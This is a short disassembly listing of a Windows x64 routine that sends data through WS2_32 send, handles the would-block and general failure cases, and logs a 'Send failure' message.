mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rdi, eax
mov dword [r14], r13d
cmp rdi, 0xffffffffffffffff
jne 0x1400a108e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x1400a105a
mov dword [r14], 0x51
mov rax, r13
jmp 0x1400a1091
mov r8d, 0x80
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.1400b97b0
mov rcx, qword [rsi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.1400a09d0
mov rcx, qword [rsi]
mov dword [rcx + 0x1128], ebx
mov dword [r14], 0x37
mov rax, rdi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400c76a0
add rsp, 0xb8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret